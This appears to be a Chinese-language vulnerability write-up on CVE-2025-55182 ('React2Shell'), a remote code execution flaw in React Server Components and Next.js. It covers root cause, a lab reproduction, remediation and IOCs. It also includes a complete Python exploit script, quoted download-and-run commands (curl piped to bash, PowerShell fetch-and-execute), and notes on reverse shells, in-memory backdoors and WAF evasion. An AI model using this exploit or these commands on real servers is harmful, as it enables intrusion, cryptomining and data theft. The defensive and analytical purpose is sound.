第一章:漏洞背景与影响面
1.1 什么是 React2Shell?
CVE-2025-55182 被称为 “React2Shell” 。该漏洞存在于 React Server Components (RSC) 的 Flight 协议处理机制中。Flight 协议负责在客户端和服务器之间序列化/反序列化组件数据。由于在反序列化过程中缺乏对输入数据的充分验证,攻击者可以构造恶意请求,在服务器端执行任意 JavaScript 代码,从而获得操作系统的控制权限。
1.2 影响范围
根据披露,受影响的版本及组件如下:
-
React 生态:
-
react-server-dom-webpack:19.0.0, 19.1.0, 19.1.1, 19.2.0
-
react-server-dom-parcel:相关 19.x 版本
-
-
Next.js 生态 (CVE-2025-66478 重复/关联):
-
Next.js: 15.0.0 至 16.0.3 (使用 App Router 且启用了 RSC 的场景)
-
1.3 漏洞严重性
该漏洞之所以极其危险,是因为它具备以下特性:
-
无授权利用:无需登录,无需 CSRF token。
-
低复杂度:攻击者只需发送一个特制的 HTTP POST 请求。
-
高权限:执行权限与运行 Next.js 服务的 Node.js 进程权限一致(通常是 root 或 高权限用户)。
第二章:漏洞原理深度解析
2.1 核心成因:不安全的反序列化
React Server Components 使用一种称为“Flight”的二进制/文本协议来传输数据。服务器端在解析 Flight 数据时,会尝试恢复客户端传递来的对象结构。
在 react-server-dom-webpack 的实现中,代码会解析 __type 字段。在未打补丁的版本中,该机制允许反序列化 Function 对象。如果服务器端点(如 Server Actions 或 特定的 API 路由)处理了恶意构建的 Flight 数据,Node.js 的 vm.runInThisContext 或 new Function 可能会被执行,导致攻击者注入的代码在服务器端运行。
2.2 攻击向量:Server Actions 与 中间件绕过
攻击通常针对 Next.js 的 App Router 架构:
中间件绕过:通过发送包含 x-middleware-subrequest 头的请求,攻击者可以绕过某些基于中间件的身份验证检查,直接访问受保护的路由。
Flight 载荷注入:攻击者向任何处理 RSC 请求的端点(如 _next/static/chunks/react-flight 或任何 Server Action 端点)发送 POST 请求,载荷中包含恶意定义的 Function 对象。
2.3 真实的攻击链
真实攻击中的执行链如下:
发送恶意 POST 请求。
Next.js 解析请求中的 Flight 数据。
反序列化器遇到恶意 Function 对象。
调用 child_process.spawnSync() 或 exec()。
执行操作系统命令(如 id, uname -a, curl 下载挖矿程序)。
第三章:环境搭建与复现(PoC)
在复现前,请确保您有授权的测试环境。以下是基于公开 PoC(@nehkark 和 @msanft)的复现步骤。
3.1 搭建漏洞环境
目标:创建一个使用 next@15.0.0 且包含 App Router 的简单应用。
步骤 1:初始化项目
bash
mkdir cve-2025-55182-lab
cd cve-2025-55182-lab
npm init -y
npm install next@15.0.0 react@19.0.0 react-dom@19.0.0
步骤 2:创建页面文件 创建 app/page.js:
javascript
// app/page.js
export default function Home() {
return <h1>Vulnerable Next.js App</h1>;
}
步骤 3:启动服务 在 package.json 中添加脚本:
json
"scripts": {
"dev": "next dev"
}
运行:
bash
npm run dev
此时,服务运行在 http://localhost:3000。
3.2 PoC 利用脚本
根据安全研究机构发布的 PoC,以下是一个有效的 Python 利用脚本(基于公开的 poc-cve-2025-55182.py)。
脚本:exploit.py
python
import requests
import sys
import json
def exploit(target, command):
# 目标 URL,通常是根路径或 API 路由
url = target.rstrip('/')
# 恶意 Flight 载荷
# 原理:构造 __type:"Function",内嵌需要执行的代码
# 注意:在真实利用中,通常会使用 require('child_process').execSync 获取回显
# 这里的 digest 字段通常会被服务器抛出异常时返回,用于带出命令结果
payload = {
"data": f'1{{"__type":"Function","code":"global.process.mainModule.require(\\\\"child_process\\\\").execSync(\\\\"{command}\\\\")\\\\u0000"}}'
}
headers = {
"Content-Type": "text/plain;charset=UTF-8",
"Next-Action": "test", # 触发 Server Actions 处理流
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
# 通常将载荷放在请求体中,发送给处理 Flight 的端点
# 不同的 Next.js 版本端点可能不同,这里以根路由为例
try:
# 发送 POST 请求触发漏洞
response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=10)
# 漏洞触发后,服务器通常返回 500 Internal Server Error
# 响应体中可能包含命令执行的结果(在 digest 字段中)
if response.status_code == 500:
print("[+] 漏洞触发成功!检查返回内容中的 digest 或堆栈信息:")
# 尝试解析 JSON 响应提取命令结果
try:
resp_json = response.json()
# 结果通常在 digest 或 message 字段中
if 'digest' in resp_json:
print(resp_json['digest'])
else:
print(response.text)
except:
print(response.text)
else:
print(f"[-] 请求返回状态码: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[-] 请求出错: {e}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: python {sys.argv[0]} http://target.com:3000 \\"whoami\\"")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
执行效果:
bash
python exploit.py http://localhost:3000 "id"
预期结果: 服务器返回 HTTP 500,并且在日志或返回体中包含命令执行结果(如 uid=0(root))。在真实攻击中,攻击者会通过 DNS 外带或直接回显获取数据。
3.3 验证成功的标志
-
服务器日志:出现 NEXT_REDIRECT 异常,但 digest 字段包含了命令输出。
-
系统行为:如果执行 touch /tmp/pwned,在容器/服务器上文件被创建。
第四章:高级利用与攻击工具
4.1 自动化利用工具
由于该漏洞危害极大,安全社区和黑客均已开发出成熟的利用工具。例如 CVE-2025-55182-Toolbox (Python) 支持以下功能:
-
一键命令执行:利用 NEXT_REDIRECT 机制回显 Base64 结果。
-
反弹 Shell:自动生成 Bash 或 Python 反弹 Shell 命令。
-
内存马注入:劫持 Node.js http.Server 事件,注入无文件后门。注入成功后,攻击者可通过特定参数(如 /?pass)持续执行命令。
-
出网探测:检测目标是否能访问外网(DNS/HTTP/ICMP)。
4.2 真实攻击中的 Payload 分析
根据 VulnCheck 和 Hunt.io 的蜜罐数据,真实攻击者通常采用以下模式:
探测:
-
执行 uname -a 确认系统信息。
-
执行数学计算(如 echo $((1+1)))来绕过蜜罐(因为蜜罐通常不会计算)。
下载与执行:
-
Linux:curl -k http://恶意IP/c.sh | bash
-
Windows (PowerShell):powershell -c "Invoke-WebRequest -Uri http://恶意IP/ps.ps1 -OutFile $env:tmp\\payload.ps1; & $env:tmp\\payload.ps1"
持久化:
-
下载并部署 挖矿程序(XMRig)。
-
下载 Nezha Agent(开源监控代理,被用于构建僵尸网络),攻击者利用其控制面板(如 dashboard.checkstauts.site)管理肉鸡。
4.3 绕过 WAF 的技巧
由于该漏洞披露后 WAF 规则迅速跟进,攻击者开始使用混淆技术:
-
填充垃圾数据:在 Payload 前添加大量随机字节,防止基于请求体大小或特征码的检测。
-
编码变异:利用 Unicode 或十六进制编码 child_process 等敏感字符串。
第五章:检测与应急响应
5.1 检测指标(IOC)
网络流量特征:
-
请求头中包含 x-middleware-subrequest 且值为非空。
-
User-Agent 包含 Next.js 或特定扫描器特征。
-
POST 请求体包含 __type 和 Function 关键字。
系统层面:
-
异常进程:node 进程启动 curl, wget, bash 等子进程。
-
文件系统:在 /tmp 或 /var/tmp 目录下出现随机命名的 .sh 脚本或二进制文件。
-
网络连接:对外部可疑 IP 的主动连接,特别是端口 :7070, :9001, :443(非标准 Web 行为)。
威胁情报 IOC(来自近期攻击事件):
-
C2 地址:dashboard.checkstauts.site, 193.34.213.150, 128.199.194.97:9001
-
矿池地址:clearskyspark.top:9200, deepcloudspark.top:9200
-
恶意文件 MD5:df0ca249bb8a033a616742a59f732906
5.2 修复方案
升级版本(最有效):
-
React:升级至 19.2.1 或更高版本。
-
Next.js:升级至 16.0.4 或官方修复版本。
虚拟补丁:
-
使用 WAF(如 Cloud Armor, Wallarm)阻断包含 __type 和 Function 组合的请求。
环境隔离:
-
确保 Next.js 应用运行在低权限容器中,限制 child_process 的调用能力。
第六章:结论
CVE-2025-55182 是继 Log4Shell 之后又一颗“核弹级”漏洞。它从根本上动摇了现代前端框架(React)的服务端渲染安全性。由于 Next.js 的广泛应用,该漏洞的影响面覆盖了全球数百万个网站。
截至 2026 年初,该漏洞的攻击已从最初的探测扫描进化到大规模的挖矿、DDoS 和数据窃取阶段。建议所有使用 React 19 或 Next.js 15+ 的应用立即进行排查与升级,切勿抱有侥幸心理。


